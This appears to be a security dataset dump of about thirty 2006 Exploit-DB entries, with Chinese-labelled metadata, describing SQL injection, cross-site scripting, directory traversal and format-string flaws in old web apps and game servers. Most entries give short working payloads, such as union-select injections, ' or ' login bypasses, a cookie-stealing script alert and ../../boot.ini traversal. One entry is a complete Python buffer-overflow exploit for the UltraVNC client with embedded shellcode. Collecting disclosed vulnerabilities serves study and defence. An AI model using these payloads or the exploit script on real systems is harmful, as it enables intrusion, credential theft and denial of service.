QLWD/code_shield huggingface dataset:
标题: MAXDEV CMS 1.0.72/1.0.73 - 'PNuserapi.php' SQL Injection EDB-ID: 27576 CVE: 2006-1676 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/17399/info

MAXDEV CMS is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/maxdev/index.php?module=Topics&func=display&topicid=0 AND 1=0
http://www.example.com/maxdev/index.php?module=Topics&func=display&topicid=0 AND 1=1 URL: https://www.exploit-db.com/exploits/27576
标题: Web-APP.net WebAPP 0.9.x - 'index.cgi' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27561 CVE: 2006-1427 类型: WEBAPPS 平台: CGI 发布日期: 2006-04-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/17359/info

Web-App.Org and Web-App.Net are prone to multiple cross-site scripting vulnerabilities because the applications fail to properly sanitize user-supplied input. 

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/cgi-bin/index.cgi?action=[code]
http://www.example.com/cgi-bin/index.cgi?action=&id=[code]
http://www.example.com/cgi-bin/index.cgi?action=forum&board=chitchat&op=&num=[code]
http://www.example.com/cgi-bin/index.cgi?action=&board=[code]
http://www.example.com/cgi-bin/index.cgi?action=&cat=[code]
http://www.example.com/cgi-bin/index.cgi?action=otherarticles&writer=[code]
http://www.example.com/cgi-bin/index.cgi?action=&viewcat=[code]
http://www.example.com/cgi-bin/index.cgi?action=printtopic&id=1&curcatname=&img=[code]
http://www.example.com/cgi-bin/index.cgi?action=printtopic&id=1&curcatname=[code] URL: https://www.exploit-db.com/exploits/27561
标题: Doomsday 1.8/1.9 - Multiple Remote Format String Vulnerabilities EDB-ID: 27566 CVE: 2006-1618 类型: DOS 平台: MULTIPLE 发布日期: 2005-04-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/17369/info

Doomsday is prone to multiple remote format-string vulnerabilities.

These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to execute arbitrary code in the context of the vulnerable application or crash the affected game server, effectively denying service to legitimate users.

Telnet to TCP port 13209 and issue the following command:
JOIN 1234 %n%n%n%n%n%n URL: https://www.exploit-db.com/exploits/27566
标题: aWebNews 1.2 - 'visview.php?_GET['cid']' SQL Injection EDB-ID: 27560 CVE: 2006-1613 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/17352/info

aWebBB is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

Successful exploitation of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/visview.php? a=c&cid=2916852'% 20union%20select% 201,2,3,4,5, 6/* URL: https://www.exploit-db.com/exploits/27560
标题: Web-APP.net WebAPP 0.9.x - '/mods/calendar/index.cgi?vsSD' Cross-Site Scripting EDB-ID: 27562 CVE: 2006-1427 类型: WEBAPPS 平台: CGI 发布日期: 2006-04-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/17359/info
 
Web-App.Org and Web-App.Net are prone to multiple cross-site scripting vulnerabilities because the applications fail to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/cgi-bin/mods/calendar/index.cgi?vsSD=[code] URL: https://www.exploit-db.com/exploits/27562
标题: HP Color LaserJet 2500/4600 Toolbox - Directory Traversal EDB-ID: 27565 CVE: 2006-1654 类型: REMOTE 平台: WINDOWS 发布日期: 2006-04-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/17367/info

The HP Color LaserJet 2500/4600 Toolbox is prone to a directory-traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid attackers in further attacks.

http://www.example.com:5225/../../../boot.ini URL: https://www.exploit-db.com/exploits/27565
标题: PHP 4.x/5.0/5.1 - PHPInfo Large Input Cross-Site Scripting EDB-ID: 27564 CVE: 2006-0996 类型: REMOTE 平台: PHP 发布日期: 2006-04-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/17362/info

PHP is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

PHP is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/phpinfo.php?cx[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]=[XSS]
http://www.example.com/phpinfo.php?cx[]=ccccc..~4096chars...ccc[XSS] URL: https://www.exploit-db.com/exploits/27564
标题: LucidCMS 2.0 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27563 CVE: 2006-1634 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/17360/info

LucidCMS is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.


Version 2.0.0 RC4 is reported to be vulnerable; other versions may also be affected.

http://www.example.com/[lucidcms_dir]/index.php?command=login'>[XSS_here]

http://www.example.com/[lucidcms_dir]/index.php?i18n=cs_CZ&command=panel'>[XSS_here] URL: https://www.exploit-db.com/exploits/27563
标题: Bugzero 4.3.1 - 'query.jsp?msg' Cross-Site Scripting EDB-ID: 27558 CVE: 2006-1580 类型: WEBAPPS 平台: JSP 发布日期: 2006-04-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/17351/info

Bugzero is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/bugzero/jsp/query.jsp?msg=[XSS] URL: https://www.exploit-db.com/exploits/27558
标题: Bugzero 4.3.1 - 'edit.jsp' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27559 CVE: 2006-1580 类型: WEBAPPS 平台: JSP 发布日期: 2006-04-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/17351/info
 
Bugzero is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/bugzero/jsp/edit.jsp?projectId=&entryId=[XSS] URL: https://www.exploit-db.com/exploits/27559
标题: UltraVNC 1.0.1 - Multiple Remote Error Logging Buffer Overflow Vulnerabilities (1) EDB-ID: 27568 CVE: 2006-1652 类型: REMOTE 平台: WINDOWS 发布日期: 2006-04-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/17378/info

UltraVNC is susceptible to multiple error-logging remote buffer-overflow vulnerabilities. These issues are due to the application's failure to properly bounds-check user-supplied input before copying it to insufficiently sized memory buffers.

A successful attack may allow remote attackers to execute arbitrary code on a vulnerable computer to gain unauthorized access in the context of the application.

#!/usr/bin/python

#Ultr@VNC 1.0.1 Client Buffer Overflow - Luigi Auriemm
#POC by Paul Haas at Redspin.com
#Tested on WinXP SP 2: Launches Calc
import socket, struct

HOST = ''                       # Localhost
PORT = 5900                     # VNC Server
BOFSZ = 1024                    # Buffer Size
HEAD = "RFB 003.006\n"          # VNC Header
MESSAGE = "Requires Ultr@VNC Authentication\n"
NOP = "\x90"                    # Standard x86 NOP
JMP = "\xE9\x1B\xFC\xFF\xFF"    # JMP To BUFF
ESP = "\xE0\x3A\xB4\x76"        # winmm.dll: JMP %esp
POP = "PASSWORD"                # RET 8

# win32_exec - CMD=calc Size=160 http://metasploit.com
SHELLCODE = \
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe1"+\
"\x7c\x05\xd9\x83\xeb\xfc\xe2\xf4\x1d\x94\x41\xd9\xe1\x7c\x8e\x9c"+\
"\xdd\xf7\x79\xdc\x99\x7d\xea\x52\xae\x64\x8e\x86\xc1\x7d\xee\x90"+\
"\x6a\x48\x8e\xd8\x0f\x4d\xc5\x40\x4d\xf8\xc5\xad\xe6\xbd\xcf\xd4"+\
"\xe0\xbe\xee\x2d\xda\x28\x21\xdd\x94\x99\x8e\x86\xc5\x7d\xee\xbf"+\
"\x6a\x70\x4e\x52\xbe\x60\x04\x32\x6a\x60\x8e\xd8\x0a\xf5\x59\xfd"+\
"\xe5\xbf\x34\x19\x85\xf7\x45\xe9\x64\xbc\x7d\xd5\x6a\x3c\x09\x52"+\
"\x91\x60\xa8\x52\x89\x74\xee\xd0\x6a\xfc\xb5\xd9\xe1\x7c\x8e\xb1"+\
"\xdd\x23\x34\x2f\x81\x2a\x8c\x21\x62\xbc\x7e\x89\x89\x8c\x8f\xdd"+\
"\xbe\x14\x9d\x27\x6b\x72\x52\x26\x06\x1f\x64\xb5\x82\x7c\x05\xd9"

#buff = MESSAGE+SHELLCODE+NOP SLED+RET ADDR+USELESS+JUMP TO BUFF
buff = MESSAGE+SHELLCODE+NOP*(BOFSZ-11-len(MESSAGE)-len(SHELLCODE))
buff = buff+ESP+POP+JMP

#Egg = VNC Server Error Reply and Size of Reply + buff
egg = struct.pack('LL',socket.htonl(0),socket.htonl(len(buff)))+buff

print 'Ultr@VNC 1.0.1 Client Buffer Overflow - Luigi Auriemma'
print 'POC by Paul Haas at Redspin.com'
print 'Server listening on port', PORT

#Server Loop
while(1):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind((HOST, PORT))
        s.listen(1)

        conn, addr = s.accept()
        print 'Connection by', addr

        conn.send(HEAD)
        data = conn.recv(12)

        conn.send(egg)
        conn.close() URL: https://www.exploit-db.com/exploits/27568
标题: UltraVNC 1.0.1 - Multiple Remote Error Logging Buffer Overflow Vulnerabilities (2) EDB-ID: 27569 CVE: 2006-1652 类型: REMOTE 平台: WINDOWS 发布日期: 2006-04-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/17378/info
 
UltraVNC is susceptible to multiple error-logging remote buffer-overflow vulnerabilities. These issues are due to the application's failure to properly bounds-check user-supplied input before copying it to insufficiently sized memory buffers.
 
A successful attack may allow remote attackers to execute arbitrary code on a vulnerable computer to gain unauthorized access in the context of the application.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27569.zip URL: https://www.exploit-db.com/exploits/27569
标题: SoftBiz Image Gallery - 'suggest_image.php?cid' SQL Injection EDB-ID: 27544 CVE: 2006-1659 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/17339/info
  
Softbiz Image Gallery is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/imagegallery/suggest_image.php?cid=[SQL] URL: https://www.exploit-db.com/exploits/27544
标题: Blank'N'Berg 0.2 - Directory Traversal EDB-ID: 27550 CVE: 2006-1581 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/17345/info

Blank'N'Berg is prone to a directory-traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid attackers in further attacks. 

Blank'N'Berg 0.2 is reportedly vulnerable.

http://www.example.com/index.php?_path=../../.. /../../ URL: https://www.exploit-db.com/exploits/27550
标题: ISP Site Man - 'admin_login.asp' SQL Injection EDB-ID: 27552 CVE: 2006-1586 类型: WEBAPPS 平台: ASP 发布日期: 2006-04-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/17347/info

Site Man is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

All versions of Site Man are considered to be vulnerable.

user : admin
pass : ' or ' URL: https://www.exploit-db.com/exploits/27552
标题: SoftBiz Image Gallery - 'images.php?cid' SQL Injection EDB-ID: 27546 CVE: 2006-1659 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/17339/info
    
Softbiz Image Gallery is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 
    
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/imagegallery/images.php?cid=[SQL] URL: https://www.exploit-db.com/exploits/27546
标题: Blank'N'Berg 0.2 - Cross-Site Scripting EDB-ID: 27551 CVE: 2006-1582 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/17346/info

Blank'N'Berg is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Blank'N'Berg 0.2 is reportedly vulnerable.

http://www.example.com/index.php?_path="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/27551
标题: RedCMS 0.1 - 'register.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27540 CVE: 2006-1568 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/17336/info
  
RedCMS is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
The application is prone to HTML-injection and SQL-injection vulnerabilities. A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. Arbitrary script code may also be executed in the browser of an unsuspecting user in the context of the affected site; this may help the attacker steal cookie-based authentication credentials and launch other attacks.

URL: http://www.example.com/redcms/register.php
Email: aaa'>[XSS]<aaa aaa=';
Location: aaa'>[XSS]<aaa aaa=';
Website: aaa'>[XSS]<aaa aaa='; URL: https://www.exploit-db.com/exploits/27540
标题: Zdaemon 1.8.1 - Multiple Vulnerabilities EDB-ID: 27547 CVE: 2006-1593 类型: DOS 平台: MULTIPLE 发布日期: 2006-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/17340/info

ZDaemon is prone to multiple remote vulnerabilities.

A buffer overflow vulnerability exists in the 'is_client_wad_ok' function.

A remote denial of service condition also affects the server.

ZDaemon 1.08.01 and prior versions are affected.


https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27547.zip URL: https://www.exploit-db.com/exploits/27547
标题: DbbS 2.0 - 'Topics.php' SQL Injection EDB-ID: 27541 CVE: 2006-1579 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/17338/info

DbbS is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

DbbS versions 2.0-alpha and prior are reported to be affected.

http://www.example.com/topics.php?fid=3&limite=[sql] URL: https://www.exploit-db.com/exploits/27541
标题: SoftBiz Image Gallery - 'insert_rating.php?img_id' SQL Injection EDB-ID: 27545 CVE: 2006-1659 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/17339/info
   
Softbiz Image Gallery is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 
   
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/imagegallery/insert_rating.php?img_id=[sql] URL: https://www.exploit-db.com/exploits/27545
标题: Claroline 1.x - 'rqmkhtml.php' Information Disclosure EDB-ID: 27548 CVE: 2006-1595 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/17343/info

Claroline is prone to an information-disclosure vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid attackers in further attacks.

Claroline versions 1.7.4 and prior are vulnerable.

http://www.example.com/claroline/document/rqmkhtml.php?cmd=rqEditHtml&file=[file] URL: https://www.exploit-db.com/exploits/27548
标题: SoftBiz Image Gallery - 'template.php?provided' SQL Injection EDB-ID: 27543 CVE: 2006-1659 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/17339/info
 
Softbiz Image Gallery is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/imagegallery/template.php?provided=[SQL] URL: https://www.exploit-db.com/exploits/27543
标题: SoftBiz Image Gallery - 'mage_desc.php' Multiple SQL Injections EDB-ID: 27542 CVE: 2006-1659 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/17339/info

Softbiz Image Gallery is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/imagegallery/image_desc.php?id=[SQL] URL: https://www.exploit-db.com/exploits/27542
标题: Claroline 1.x - 'rqmkhtml.php' Cross-Site Scripting EDB-ID: 27549 CVE: 2006-1595 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/17344/info

Claroline is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/claroline/document/rqmkhtml.php?cmd=rqEditHtml&file=[code] URL: https://www.exploit-db.com/exploits/27549
标题: RedCMS 0.1 - 'login.php' Multiple SQL Injections EDB-ID: 27539 CVE: 2006-1569 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/17336/info
 
RedCMS is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
The application is prone to HTML-injection and SQL-injection vulnerabilities. A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. Arbitrary script code may also be executed in the browser of an unsuspecting user in the context of the affected site; this may help the attacker steal cookie-based authentication credentials and launch other attacks.

URL: http://www.example.com/redcms/login.php
Username: ' or 1/*
Password: any URL: https://www.exploit-db.com/exploits/27539
标题: SiteSearch Indexer 3.5 - 'searchresults.asp' Cross-Site Scripting EDB-ID: 27536 CVE: 2006-1567 类型: WEBAPPS 平台: ASP 发布日期: 2006-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/17332/info

SiteSearch Indexer is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/search/searchresults.asp?searchField=[XSS] URL: https://www.exploit-db.com/exploits/27536
标题: O2PHP Oxygen 1.0/1.1 - 'post.php' SQL Injection EDB-ID: 27535 CVE: 2006-1572 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/17324/info

Oxygen is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Oxygen versions 1.1.3 and prior are reported to be affected.

http://www.example.com/post.php?action=newthread&fid=[sql] URL: https://www.exploit-db.com/exploits/27535